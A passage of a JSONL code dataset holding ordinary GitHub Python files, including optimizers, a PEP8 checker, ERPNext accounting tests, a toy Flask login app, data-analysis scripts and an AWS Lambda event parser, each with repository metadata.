epsilon=1e-6):\n \"\"\"\n RMSProp.\n \"\"\"\n gradients = self.get_gradients(cost, params)\n accumulators = [\n theano.shared(\n np.zeros_like(param.get_value(borrow=True)).astype(floatX)\n )\n for param in params\n ]\n\n updates = []\n for param, gradient, accumulator in zip(params, gradients, accumulators):\n new_accumulator = rho * accumulator + (1 - rho) * gradient ** 2\n updates.append((accumulator, new_accumulator))\n new_param = param - lr * gradient / T.sqrt(new_accumulator + epsilon)\n updates.append((param, new_param))\n\n return updates\n\n def dm_rmsprop(self, cost, params, lr=0.00025, rho=0.95, epsilon=0.01):\n \"\"\"\n DeepMind RMSProp.\n Scale learning rates by dividing with the moving average\n of the root mean squared (RMS) gradients.\n \"\"\"\n gradients = self.get_gradients(cost, params)\n updates = OrderedDict()\n\n for param, grad in zip(params, gradients):\n value = param.get_value(borrow=True)\n\n acc_grad = theano.shared(\n np.zeros(value.shape, dtype=value.dtype), broadcastable=param.broadcastable\n )\n acc_grad_new = rho * acc_grad + (1 - rho) * grad\n\n acc_rms = theano.shared(\n np.zeros(value.shape, dtype=value.dtype), broadcastable=param.broadcastable\n )\n acc_rms_new = rho * acc_rms + (1 - rho) * grad ** 2\n\n updates[acc_grad] = acc_grad_new\n updates[acc_rms] = acc_rms_new\n\n updates[param] = (param - lr *\n (grad /\n T.sqrt(acc_rms_new - acc_grad_new ** 2 + epsilon)))\n\n return updates\n","repo_name":"glample/UltraDeep","sub_path":"learning_method.py","file_name":"learning_method.py","file_ext":"py","file_size_in_byte":7782,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"} +{"seq_id":"11642647124","text":"import logging\nimport numpy as np\n\nfrom wmf_embed.train.neighbor_graph import NeighborGraph\n\nNEIGHBOR_WEIGHT = 0.3 # weight of neighbors compared to original vector\n\ndef main(path):\n # titler = Titler(path + '/titles.csv')\n joint_ids = [token.strip() for token in open(path + '/joint_ids.txt', encoding='utf-8')]\n embedding = np.load(path + '/joint_vectors.npy')\n neighbors = NeighborGraph(joint_ids, npz_path=(path + '/neighbors.npz'))\n\n for epoch in range(10):\n logging.info('Beginning retrofitting epoch %d', epoch)\n retrofit(epoch, embedding, neighbors, None)\n np.save(path + '/joint_vectors.' + str(epoch) + '.npy', embedding)\n\n\n\ndef retrofit(epoch, embedding, neighbors, titler):\n test(embedding, )\n change = 0.0\n indexes = np.arange(neighbors.num_nodes())\n np.random.shuffle(indexes)\n for node_num, i in enumerate(indexes):\n if node_num % 10000 == 0:\n logging.info('Epoch %d: retrofitting %d of %d, avg_change=%.4f',\n epoch, node_num, len(indexes), change / (node_num + 1))\n\n neighbor_indexes = neighbors.index_neighbors(i)\n if len(neighbor_indexes) >= 1:\n v1 = embedding[i,:]\n v1_orig = v1.copy()\n v1 *= (1.0 - NEIGHBOR_WEIGHT)\n v1 += NEIGHBOR_WEIGHT * np.mean(embedding[neighbor_indexes,:], axis=0)\n change += np.sum((v1 - v1_orig) ** 2) ** 0.5\n\n\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n main('./output')","repo_name":"shilad/wmf-embeddings","sub_path":"wmf_embed/train/retrofit.py","file_name":"retrofit.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24384534220","text":"import re\nimport string\nimport ast\nfrom itertools import count\nimport os\nimport sys\n\nMAX_LINE = 79\nASCII_UPPER = set(string.ascii_uppercase)\n\narg = sys.argv\n\nERRORS = {\n 'S001': 's001 Too Long',\n 'S002': 's002 Indentation is not a multiple of four',\n 'S003': 's003 Unnecessary semicolon',\n 'S004': 's004 At least two spaces required before inline comments',\n 'S005': 's005 TODO Found',\n 'S006': 's006 More than two blank lines used before this line',\n 'S007': 's007 Too many spaces after construction_name (def or class)',\n 'S008': 's008 Class name class_name should be written in CamelCase',\n 'S009': 's009 Function name function_name should be written in snake_case',\n 'S010': 's010 Argument name arg_name should be written in snake_case',\n 'S011': 's011 Variable var_name should be written in snake_case',\n 'S012': 's012 The default argument value is mutable'\n}\n\nn = count()\n\n\ndef get_file(arg):\n def validate_path_type(path):\n\n if os.path.exists(path):\n\n if os.path.isfile(path):\n return 'python file' if is_py(path) else False\n\n if os.path.isdir(path):\n return 'dir'\n return False\n\n def is_py(file):\n return file.split('.')[-1] == 'py'\n\n def read_dir(dir):\n return [x for x in os.listdir(dir) if x.split('.')[-1] == 'py']\n\n if arg and len(arg) > 1:\n\n path_type = validate_path_type(arg[1])\n\n if path_type and path_type == 'python file':\n return arg[1]\n\n if path_type == 'dir':\n return read_dir(arg[1])\n return False\n\n\nclass PEP(dict):\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n __blank__ = 0\n\n def __init__(self, line):\n\n super().__init__()\n\n errors = {\n 'S001': bool(len(line) > MAX_LINE),\n 'S002': bool((sum(1 for x in line if x == \" \" and '#' not in line) % 2 >= 2)),\n 'S003': bool(\";\" in line and self.invalid_semicolon(line)),\n 'S004': self._inline_comment_error(line),\n 'S005': bool('TODO' in str(line).upper() and '#' in str(line)),\n 'S006': bool(PEP.__blank__ > 3),\n 'S007': self._func_construct_error_(str(line).rstrip())\n }\n\n if line != '\\n':\n PEP.__blank__ = 0\n PEP.__blank__ += 1\n\n line_errors = [error_code for error_code, error in errors.items() if error]\n line_no = next(n)\n\n try:\n self[line_no].append(line_errors)\n except KeyError:\n self[line_no] = line_errors\n\n @staticmethod\n def invalid_semicolon(line):\n\n if ';' in str(line).upper():\n if int(str(line).index(';')) < int(len(str(line).strip())):\n return True\n return False\n\n\n @staticmethod\n def _inline_comment_error(value):\n if \"#\" in value:\n return bool(sum(1 for j in value.split(\" \") if j == '') != 1)\n\n @staticmethod\n def _cls_construct_error(_class):\n _cls_pattern_ = \"class\\s.*?:\"\n _cls_ = re.match(_cls_pattern_, _class)\n return\n\n @staticmethod\n def _func_construct_error_(_func):\n\n if str(_func).startswith('def') or str(_func).startswith('class'):\n return bool(sum(1 for j in _func.split(\" \") if j == '') >= 1)\n\n\nclass Line(PEP):\n _number = 0\n\n def __init__(self, line):\n super().__init__(line)\n\n def __setattr__(self, key, value):\n self[key] = value\n\n def __getattr__(self, item):\n return self[item]\n\n\nclass AstParser(ast.NodeVisitor):\n\n def __init__(self):\n self.errors = dict()\n\n def visit_Name(self, node: ast.Name) -> any:\n\n if isinstance(node.ctx, ast.Store) and set(node.id).intersection(ASCII_UPPER) and str(node.id) != 'TODO':\n self.new_error(str(node.id), 'S011', int(node.lineno))\n else:\n pass\n\n def visit_List(self, node: ast.List) -> any:\n if node:\n for i in ast.walk(node):\n if isinstance(i, ast.List) and len(i.elts) == 0:\n self.new_error(str(i.elts), \"S012\", i.lineno)\n break\n else:\n pass\n else:\n pass\n\n def visit_arg(self, node: ast.arg) -> any:\n if set(node.arg).intersection(ASCII_UPPER):\n self.new_error(str(node.arg), \"S010\", node.lineno)\n else:\n pass\n\n def visit_Constant(self, node) -> any:\n\n self.generic_visit(node)\n\n def visit_FunctionDef(self, node: ast.FunctionDef) -> any:\n\n if set(node.name).intersection(ASCII_UPPER):\n self.new_error(str(node.name), \"S009\", int(node.lineno))\n else:\n pass\n\n self.generic_visit(node)\n\n def visit_ClassDef(self, node: ast.ClassDef) -> any:\n _class_ = list(node.name)\n if not _class_[0] == _class_[0].upper() or \"_\" in _class_:\n self.new_error(str(node.name), \"S008\", int(node.lineno))\n else:\n pass\n self.generic_visit(node)\n\n def new_error(self, line_content: str, error_code: str, line_number: int):\n content = {\n 'content': f'{str(line_content)}',\n 'errors': [error_code]\n }\n\n try:\n self.errors[int(line_number)].append(content)\n except KeyError:\n self.errors[int(line_number)] = [content]\n\n\nclass File(Line):\n\n def __init__(self, file_name: str, lines: list, multi=False):\n super().__init__(self)\n self.file_name = file_name\n self.content = [Line(line) for line in lines]\n\n if multi:\n self.multi_err = []\n self()\n\n def class_def_errors(self, file_name):\n\n tree = ast.parse(open(file_name, mode='r').read())\n ast_parser = AstParser()\n ast_parser.visit(tree)\n errors = ast_parser.errors\n\n return errors\n\n def format_error_out(self, error, content, func_class=None):\n return error.replace(\n func_class, ' '.join(\n x.strip().replace(':', '') for x in content.split(' ')\n )\n )\n\n def print_error(self, **kwargs):\n\n line_n, errors = kwargs['line_n'], kwargs['error_code']\n\n for error in errors:\n if isinstance(error, dict):\n content, sub_errors = error['content'], error['errors']\n for sub_error in sub_errors:\n error_msg = ERRORS[sub_error].replace(\n 'class_name',\n content).replace(\n 'function_name',\n content).replace(\n 'arg_name',\n content).replace('var_name', content)\n else:\n error_msg = ERRORS[error]\n try:\n if kwargs['multi'] == True:\n e_msg = f\"{self.file_name}: line {line_n}: {error_msg}\"\n return e_msg\n except Exception:\n pass\n finally:\n print(f\"{self.file_name}: line {line_n}: {error_msg}\")\n\n def __call__(self, *args, **kwargs):\n\n ast_errors = self.class_def_errors(self.file_name)\n\n for line_no, error in ast_errors.items():\n for _error in self.content:\n try:\n _error[line_no].extend(error)\n except KeyError:\n pass\n\n try:\n errors = [j for n, j in enumerate(self.content) if len(j.get(n + 1)) >= 1]\n\n for error in errors:\n for line, error_msg in error.items():\n self.print_error(line_n=line, error_code=error_msg)\n\n except TypeError:\n print(self.content)\n pass\n\n\ndef pep_errors(python_file, multi=False):\n global n\n if multi:\n m = []\n for f in python_file:\n # f_path = f\"test{os.path}{f}\"\n File(os.path.join(\"test/this_stage\", f),\n open(os.path.join(\"test/this_stage\", f), mode='r').readlines(), multi=True)\n del n\n n = count()\n\n\n else:\n\n with open(python_file, mode='r') as f:\n file = File(python_file, f.readlines())\n f.close()\n file(multi=False)\n\n\nif __name__ == \"__main__\":\n\n if get_file(arg):\n if isinstance(get_file(arg), list):\n pep_errors(sorted(get_file(arg)), multi=True)\n else:\n pep_errors(get_file(arg))\n","repo_name":"flynn-dan/static-code-analyzer","sub_path":"src/static_analyze.py","file_name":"static_analyze.py","file_ext":"py","file_size_in_byte":8486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1570399427","text":"import frappe\nfrom frappe import qb\nfrom frappe.query_builder.functions import Sum\nfrom frappe.tests.utils import FrappeTestCase, change_settings\nfrom frappe.utils import add_days, nowdate, today\n\nfrom erpnext.accounts.doctype.payment_entry.payment_entry import get_payment_entry\nfrom erpnext.accounts.doctype.payment_request.payment_request import make_payment_request\nfrom erpnext.accounts.doctype.repost_accounting_ledger.repost_accounting_ledger import start_repost\nfrom erpnext.accounts.doctype.sales_invoice.test_sales_invoice import create_sales_invoice\nfrom erpnext.accounts.test.accounts_mixin import AccountsTestMixin\nfrom erpnext.accounts.utils import get_fiscal_year\n\n\nclass TestRepostAccountingLedger(AccountsTestMixin, FrappeTestCase):\n\tdef setUp(self):\n\t\tself.create_company()\n\t\tself.create_customer()\n\t\tself.create_item()\n\n\tdef teadDown(self):\n\t\tfrappe.db.rollback()\n\n\tdef test_01_basic_functions(self):\n\t\tsi = create_sales_invoice(\n\t\t\titem=self.item,\n\t\t\tcompany=self.company,\n\t\t\tcustomer=self.customer,\n\t\t\tdebit_to=self.debit_to,\n\t\t\tparent_cost_center=self.cost_center,\n\t\t\tcost_center=self.cost_center,\n\t\t\trate=100,\n\t\t)\n\n\t\tpreq = frappe.get_doc(\n\t\t\tmake_payment_request(\n\t\t\t\tdt=si.doctype,\n\t\t\t\tdn=si.name,\n\t\t\t\tpayment_request_type=\"Inward\",\n\t\t\t\tparty_type=\"Customer\",\n\t\t\t\tparty=si.customer,\n\t\t\t)\n\t\t)\n\t\tpreq.save().submit()\n\n\t\t# Test Validation Error\n\t\tral = frappe.new_doc(\"Repost Accounting Ledger\")\n\t\tral.company = self.company\n\t\tral.delete_cancelled_entries = True\n\t\tral.append(\"vouchers\", {\"voucher_type\": si.doctype, \"voucher_no\": si.name})\n\t\tral.append(\n\t\t\t\"vouchers\", {\"voucher_type\": preq.doctype, \"voucher_no\": preq.name}\n\t\t) # this should throw validation error\n\t\tself.assertRaises(frappe.ValidationError, ral.save)\n\t\tral.vouchers.pop()\n\t\tpreq.cancel()\n\t\tpreq.delete()\n\n\t\tpe = get_payment_entry(si.doctype, si.name)\n\t\tpe.save().submit()\n\t\tral.append(\"vouchers\", {\"voucher_type\": pe.doctype, \"voucher_no\": pe.name})\n\t\tral.save()\n\n\t\t# manually set an incorrect debit amount in DB\n\t\tgle = frappe.db.get_all(\"GL Entry\", filters={\"voucher_no\": si.name, \"account\": self.debit_to})\n\t\tfrappe.db.set_value(\"GL Entry\", gle[0], \"debit\", 90)\n\n\t\tgl = qb.DocType(\"GL Entry\")\n\t\tres = (\n\t\t\tqb.from_(gl)\n\t\t\t.select(gl.voucher_no, Sum(gl.debit).as_(\"debit\"), Sum(gl.credit).as_(\"credit\"))\n\t\t\t.where((gl.voucher_no == si.name) & (gl.is_cancelled == 0))\n\t\t\t.run()\n\t\t)\n\n\t\t# Assert incorrect ledger balance\n\t\tself.assertNotEqual(res[0], (si.name, 100, 100))\n\n\t\t# Submit repost document\n\t\tral.save().submit()\n\n\t\t# background jobs don't run on test cases. Manually triggering repost function.\n\t\tstart_repost(ral.name)\n\n\t\tres = (\n\t\t\tqb.from_(gl)\n\t\t\t.select(gl.voucher_no, Sum(gl.debit).as_(\"debit\"), Sum(gl.credit).as_(\"credit\"))\n\t\t\t.where((gl.voucher_no == si.name) & (gl.is_cancelled == 0))\n\t\t\t.run()\n\t\t)\n\n\t\t# Ledger should reflect correct amount post repost\n\t\tself.assertEqual(res[0], (si.name, 100, 100))\n\n\tdef test_02_deferred_accounting_valiations(self):\n\t\tsi = create_sales_invoice(\n\t\t\titem=self.item,\n\t\t\tcompany=self.company,\n\t\t\tcustomer=self.customer,\n\t\t\tdebit_to=self.debit_to,\n\t\t\tparent_cost_center=self.cost_center,\n\t\t\tcost_center=self.cost_center,\n\t\t\trate=100,\n\t\t\tdo_not_submit=True,\n\t\t)\n\t\tsi.items[0].enable_deferred_revenue = True\n\t\tsi.items[0].deferred_revenue_account = self.deferred_revenue\n\t\tsi.items[0].service_start_date = nowdate()\n\t\tsi.items[0].service_end_date = add_days(nowdate(), 90)\n\t\tsi.save().submit()\n\n\t\tral = frappe.new_doc(\"Repost Accounting Ledger\")\n\t\tral.company = self.company\n\t\tral.append(\"vouchers\", {\"voucher_type\": si.doctype, \"voucher_no\": si.name})\n\t\tself.assertRaises(frappe.ValidationError, ral.save)\n\n\t@change_settings(\"Accounts Settings\", {\"delete_linked_ledger_entries\": 1})\n\tdef test_04_pcv_validation(self):\n\t\t# Clear old GL entries so PCV can be submitted.\n\t\tgl = frappe.qb.DocType(\"GL Entry\")\n\t\tqb.from_(gl).delete().where(gl.company == self.company).run()\n\n\t\tsi = create_sales_invoice(\n\t\t\titem=self.item,\n\t\t\tcompany=self.company,\n\t\t\tcustomer=self.customer,\n\t\t\tdebit_to=self.debit_to,\n\t\t\tparent_cost_center=self.cost_center,\n\t\t\tcost_center=self.cost_center,\n\t\t\trate=100,\n\t\t)\n\t\tpcv = frappe.get_doc(\n\t\t\t{\n\t\t\t\t\"doctype\": \"Period Closing Voucher\",\n\t\t\t\t\"transaction_date\": today(),\n\t\t\t\t\"posting_date\": today(),\n\t\t\t\t\"company\": self.company,\n\t\t\t\t\"fiscal_year\": get_fiscal_year(today(), company=self.company)[0],\n\t\t\t\t\"cost_center\": self.cost_center,\n\t\t\t\t\"closing_account_head\": self.retained_earnings,\n\t\t\t\t\"remarks\": \"test\",\n\t\t\t}\n\t\t)\n\t\tpcv.save().submit()\n\n\t\tral = frappe.new_doc(\"Repost Accounting Ledger\")\n\t\tral.company = self.company\n\t\tral.append(\"vouchers\", {\"voucher_type\": si.doctype, \"voucher_no\": si.name})\n\t\tself.assertRaises(frappe.ValidationError, ral.save)\n\n\t\tpcv.reload()\n\t\tpcv.cancel()\n\t\tpcv.delete()\n\n\tdef test_03_deletion_flag_and_preview_function(self):\n\t\tsi = create_sales_invoice(\n\t\t\titem=self.item,\n\t\t\tcompany=self.company,\n\t\t\tcustomer=self.customer,\n\t\t\tdebit_to=self.debit_to,\n\t\t\tparent_cost_center=self.cost_center,\n\t\t\tcost_center=self.cost_center,\n\t\t\trate=100,\n\t\t)\n\n\t\tpe = get_payment_entry(si.doctype, si.name)\n\t\tpe.save().submit()\n\n\t\t# without deletion flag set\n\t\tral = frappe.new_doc(\"Repost Accounting Ledger\")\n\t\tral.company = self.company\n\t\tral.delete_cancelled_entries = False\n\t\tral.append(\"vouchers\", {\"voucher_type\": si.doctype, \"voucher_no\": si.name})\n\t\tral.append(\"vouchers\", {\"voucher_type\": pe.doctype, \"voucher_no\": pe.name})\n\t\tral.save()\n\n\t\t# assert preview data is generated\n\t\tpreview = ral.generate_preview()\n\t\tself.assertIsNotNone(preview)\n\n\t\tral.save().submit()\n\n\t\t# background jobs don't run on test cases. Manually triggering repost function.\n\t\tstart_repost(ral.name)\n\n\t\tself.assertIsNotNone(frappe.db.exists(\"GL Entry\", {\"voucher_no\": si.name, \"is_cancelled\": 1}))\n\t\tself.assertIsNotNone(frappe.db.exists(\"GL Entry\", {\"voucher_no\": pe.name, \"is_cancelled\": 1}))\n\n\t\t# with deletion flag set\n\t\tral = frappe.new_doc(\"Repost Accounting Ledger\")\n\t\tral.company = self.company\n\t\tral.delete_cancelled_entries = True\n\t\tral.append(\"vouchers\", {\"voucher_type\": si.doctype, \"voucher_no\": si.name})\n\t\tral.append(\"vouchers\", {\"voucher_type\": pe.doctype, \"voucher_no\": pe.name})\n\t\tral.save().submit()\n\n\t\tstart_repost(ral.name)\n\t\tself.assertIsNone(frappe.db.exists(\"GL Entry\", {\"voucher_no\": si.name, \"is_cancelled\": 1}))\n\t\tself.assertIsNone(frappe.db.exists(\"GL Entry\", {\"voucher_no\": pe.name, \"is_cancelled\": 1}))\n","repo_name":"frappe/erpnext","sub_path":"erpnext/accounts/doctype/repost_accounting_ledger/test_repost_accounting_ledger.py","file_name":"test_repost_accounting_ledger.py","file_ext":"py","file_size_in_byte":6391,"program_lang":"python","lang":"en","doc_type":"code","stars":15303,"dataset":"github-code","pt":"60"} +{"seq_id":"18251885668","text":"import logging\nimport os.path\n\nfrom Common.handle_config import config\nfrom Common.handle_path import log_dir\n\nclass Mylogger(logging.Logger):\n def __init__(self,file = None):\n # 设置输出级别，输出日志格式\n super().__init__(config.get(\"log\",\"name\"),config.get(\"log\",\"level\"))\n\n # 日志模式输出格式\n fmt = '%(asctime)s %(name)s %(levelname)s %(filename)s-%(lineno)d line: %(message)s'\n formatter = logging.Formatter(fmt)\n\n # 将日志绑定到渠道中\n handle1 = logging.StreamHandler()\n handle1.setFormatter(formatter)\n self.addHandler(handle1)\n\n if file:\n handle2 = logging.FileHandler(file,encoding=\"utf-8\")\n handle2.setFormatter(formatter)\n self.addHandler(handle2)\n\n# 是否需要引入文件\nif config.getboolean(\"log\",\"file_ok\"):\n print(\"执行到了\")\n file_name = os.path.join(log_dir,config.get(\"log\",\"file_name\"))\nelse:\n file_name = None\nprint(file_name)\nlogger = Mylogger(file_name)\n","repo_name":"729727372/python--","sub_path":"Common/handle_logger.py","file_name":"handle_logger.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29525713237","text":"from setuptools import setup\n\nwith open(\"README\") as f:\n long_description = f.read()\n\nsetup(\n name=\"csv_converter\",\n version=\"1.1.0\",\n description=\"Converts a list of hotels from a csv into a json wich is \\\n readable by the conversion tool\",\n license=\"MIT\",\n long_description=long_description,\n author=\"Maximillian Rampulla\",\n author_email=\"maxrampulla@gmail.com\",\n py_modules=[\"csv_converter\"]\n)\n","repo_name":"maxrampulla/csv_converter","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23330159126","text":"\nall_in = lambda a, b: all(elem in a for elem in b)\n\nclass EventParser(object):\n @property\n def caller(self):\n return self.__caller\n\n @caller.setter\n def caller(self, event):\n \"\"\"\n Lambda function event parser to identify the service making the request\n \"\"\"\n callers_conditions = {\n 'cloudformation': eval(\n \"all_in(event.keys(), ['StackId', 'RequestType', 'ResourceType'])\"\n ),\n 'cloudwatchlogs': eval(\n \"'awslogs' in event.keys() and 'data' in event['awslogs'].keys()\"\n ),\n 'apigatewayauthorization': eval(\n \"'authorizationToken' in event.keys() and event['authorizationToken'] == 'incoming-client-token'\"\n ),\n 'cloudfront': eval(\n \"'Records' in event.keys() and 'cf' in event['Records'][0].keys()\"\n ),\n 'sns': eval(\n \"'Records' in event.keys() and (event['Records'][0]['EventSource'] == 'aws:sns')\"\n ),\n 'codecommit': eval(\n \"'Records' in event.keys() and (event['Records'][0]['eventSource'] == 'aws:codecommit')\"\n ),\n 'ses': eval(\n \"'Records' in event.keys() and (event['Records'][0]['eventSource'] == 'aws:ses')\"\n ),\n 'kinesis': eval(\n \"'Records' in event.keys() and (event['Records'][0]['eventSource'] == 'aws:kinesis')\"\n ),\n 's3': eval(\n \"'Records' in event.keys() and (event['Records'][0]['eventSource'] == 'aws:s3')\",\n ),\n 'dynamodb': eval(\n \"'Records' in event.keys() and (event['Records'][0]['eventSource'] == 'aws:dynamodb')\"\n ),\n 'events': eval(\n \"'source' in event.keys() and event['source'] == 'aws.events'\"\n )\n }\n for key in callers_conditions.keys():\n if callers_conditions[key]:\n self.__caller = key\n return\n self.__caller = 'NotFound'\n\n def __init__(self, event):\n \"\"\"\n Args:\n event: Lambda function event\n \"\"\"\n self.caller = event\n\n def __repr__(self):\n return self.caller\n\n\nif __name__ == '__main__':\n EVENT = {\n 'StackId': 'Id234',\n 'RequestType': 'Create',\n 'ResourceType': 'custom',\n 'ResourceProperties': {'toto': 'tata'}\n }\n print(EVENT.keys())\n PARSER = EventParser(EVENT)\n print (\"Parser\", PARSER)\n\n","repo_name":"lambda-my-aws/awslambda_handler","sub_path":"awslambda_handler/eventparser.py","file_name":"eventparser.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10629687189","text":"from flask import render_template\r\nfrom flask import make_response\r\nfrom flask import Flask, session, redirect, url_for, escape, request\r\nfrom flask import Mail,Massage\r\nimport random\r\n\r\napp = Flask(__name__)\r\napp.secret_key = 'thesecretkey'\r\ndic = {}\r\ndef getcookie(name):\r\n strings = ''\r\n for i in range(10):\r\n num = random.randint(0,9)\r\n strings += str(num)\r\n dic[strings] = name\r\n return strings\r\n@app.route(\"/\")\r\ndef check():\r\n if 'username' in session:\r\n return render_template('loggedin.html',str=session['username'] + str(dic))\r\n else:\r\n cookie = request.cookies.get('cookie')\r\n try:\r\n session['username'] = dic[cookie]\r\n return render_template('loggedin.html',str=session['username'])\r\n except:\r\n return render_template('login.html')\r\n@app.route('/login',methods=['POST'])\r\ndef login():\r\n session['username'] = request.form['nm']\r\n resp = make_response(redirect(url_for('check')))\r\n resp.set_cookie('cookie',getcookie(request.form['nm']),max_age=3600)\r\n return resp\r\n@app.route('/logout')\r\ndef logout():\r\n session.pop('username',None)\r\n cookie = request.cookies.get('cookie')\r\n try:\r\n del dic[cookie]\r\n except:\r\n pass\r\n resp = make_response(redirect((url_for('check'))))\r\n resp.delete_cookie('cookie')\r\n return resp\r\nif __name__ == '__main__':\r\n app.run()","repo_name":"zhangzhe197/College-Entrance-Examination-Volunteer-Filling-Auxiliary-System","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"17666127408","text":"from ro.ubb.movierent.domain.movies_class import Movie\nfrom ro.ubb.movierent.repository.movie_repo import MovieRepository\n\n\nclass MovieFileRepository(MovieRepository):\n def __init__(self, file_name):\n super().__init__()\n self.__file_name = file_name\n self.__readFile()\n\n def add(self, movie):\n super().add(movie)\n self.__writeFile()\n\n def update(self, movie_id, new_movie):\n super().update(movie_id, new_movie)\n self.__writeFile()\n\n def delete(self, movie):\n super().delete(movie)\n self.__writeFile()\n\n def __readFile(self):\n with open(self.__file_name, 'r') as f:\n lines = f.readlines()\n for line in lines:\n linie = line.split(\",\")\n movie_id = linie[0]\n movie_title = linie[1]\n movie_description = linie[2]\n movie_genre = linie[3]\n movie_rentedTimes = linie[4].replace('\\\\n',\"\")\n movie = Movie(movie_id, movie_title, movie_description, movie_genre, movie_rentedTimes)\n self._all_movies.insert(int(movie_id) - 1, movie)\n\n def __writeFile(self):\n with open(self.__file_name, 'w') as f:\n for index in range(0, len(self._all_movies)):\n if self._all_movies[index].get_id() is not None:\n f.write(f'{self._all_movies[index].get_id().__str__()},{self._all_movies[index].get_title().__str__()},{self._all_movies[index].get_description().__str__()},{self._all_movies[index].get_genre().__str__()},{self._all_movies[index].get_rentedTimes().__str__()} \\n')","repo_name":"darius-grigore-stoica/university","sub_path":"First Semester/lab10/ro/ubb/movierent/repository/movie_file_repo.py","file_name":"movie_file_repo.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22860008833","text":"import statistics\nimport requests\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn\n\nr = requests.get(\"https://raw.githubusercontent.com/pesikj/progr2-python/master/data/crypto_prices.csv\")\nopen(\"crypto_prices.csv\", \"wb\").write(r.content)\n\ndf = pd.read_csv(\"crypto_prices.csv\")\n\n# zobrazení všech sloupců\ndesired_width = 1000\npd.set_option('display.width', desired_width)\nnp.set_printoptions(linewidth=desired_width)\npd.set_option('display.max_columns',100)\n\n#print(df.head())\n\n# 1. Použij zavírací cenu kryptoměny (sloupec Close) a vypočti procentuální změnu jednotlivých kryptoměn.\n# Pozor na to, ať se ti nepočítají ceny mezi jednotlivými měnami. Ošetřit to můžeš pomocí metody groupby(),\n# jako jsme to dělali např. u metody shift().\n\n# tzn. využiji korelaci\ndf[\"Change\"] = df.groupby(\"Name\")[\"Close\"].pct_change()\n# pivot - transformuje tabulku, aby byly vedle sebe řádky jednotlivých měn\ndf = df.pivot(index = \"Date\", columns = \"Name\", values=\"Change\")\nprint(df.head())\n\n# 2. Vytvoř korelační matici změn cen jednotlivých kryptoměn a zobraz je jako tabulku.\nkorelace = df.corr()\n#print(korelace)\n\n# 3. V tabulce vyber dvojici kryptoměn s vysokou hodnotou koeficientu korelace a jinou dvojici\n# s koeficientem korelace blízko 0. Změny cen pro dvojice měn, které jsou hodně a naopak málo korelované,\n# si zobraz jako bodový graf.\n# vysoká hodnota korelace: Wrapped Bitcoin a Bitcoin\nvysoka_korelace = df[[\"Wrapped Bitcoin\", \"Bitcoin\"]]\nseaborn.jointplot(\"Wrapped Bitcoin\", \"Bitcoin\", vysoka_korelace, kind=\"scatter\")\n#plt.show()\n\n# nízká hodnota korelace: Dogecoin a Aave\nnizka_korelace = df[[\"Dogecoin\", \"Aave\"]]\nseaborn.jointplot(\"Dogecoin\", \"Aave\", nizka_korelace, kind=\"scatter\")\nplt.show()","repo_name":"katroska/python-032021","sub_path":"5_lekce/homework_05/kryptomeny.py","file_name":"kryptomeny.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13826975384","text":"import urllib.request, urllib.parse, urllib.error\n\ndata = ''\nfhand = urllib.request.urlopen('http://data.pr4e.org/romeo.txt')\n\nfor line in fhand :\n data += line.decode().strip() + '\\n'\n\nf_handle = open('sample-text.txt', 'w')\nf_handle.write(data)","repo_name":"possibility-of-offense/python-code-examples","sub_path":"Network/urllib-test.py","file_name":"urllib-test.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41511393000","text":"#讀取資料\nimport pandas as pd\n\ndf = pd.read_csv('mpg.csv')\n\nprint(df.head())\n\n#去除多餘資料\ndf = df.drop('name', axis=1)\n\n#��式化資料\ndf['origin'] = df['origin'].replace({1: 'america', 2: 'europe', 3: 'asia'})\n\ndf = pd.get_dummies(df, columns=['origin'])\n\ndf.head()\n\nimport numpy as np\n#去除missing data\ndf = df.replace('?', np.nan)\ndf = df.dropna()\n\n#標準化 :為了避免偏向某個變數去做訓練\ndf = (df - df.mean()) / df.std() \n\n#分割資料\nX = df.drop('mpg', axis=1)\ny = df[['mpg']]\n\nfrom sklearn.model_selection import train_test_split\n\n# Split X and y into X_\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=1)\n\n#代入模型training\nfrom sklearn.linear_model import LinearRegression\n\nregression_model = LinearRegression()\nregression_model.fit(X_train, y_train)\n\n#印出各系數\nfor idx, col_name in enumerate(X_train.columns):\n print(\"The coefficient for {} is {}\".format(col_name, regression_model.coef_[0][idx]))\n\n#截距\nintercept = regression_model.intercept_[0]\n\nprint(\"The intercept for our model is {}\".format(intercept))\n\n#將測試資料代入得準確率\nregression_model.score(X_test, y_test)\n\n","repo_name":"isaac60103/crawl_course","sub_path":"example/machine_learning/mpg.py","file_name":"mpg.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"13573243896","text":"import json\r\nimport random_ans\r\nimport re\r\nimport adventureGame\r\nimport wheelOfFortune\r\n\r\n# loads jsonfile\r\ndef load_json(file):\r\n with open(file) as responses:\r\n return json.load(responses)\r\n\r\n\r\n# store json 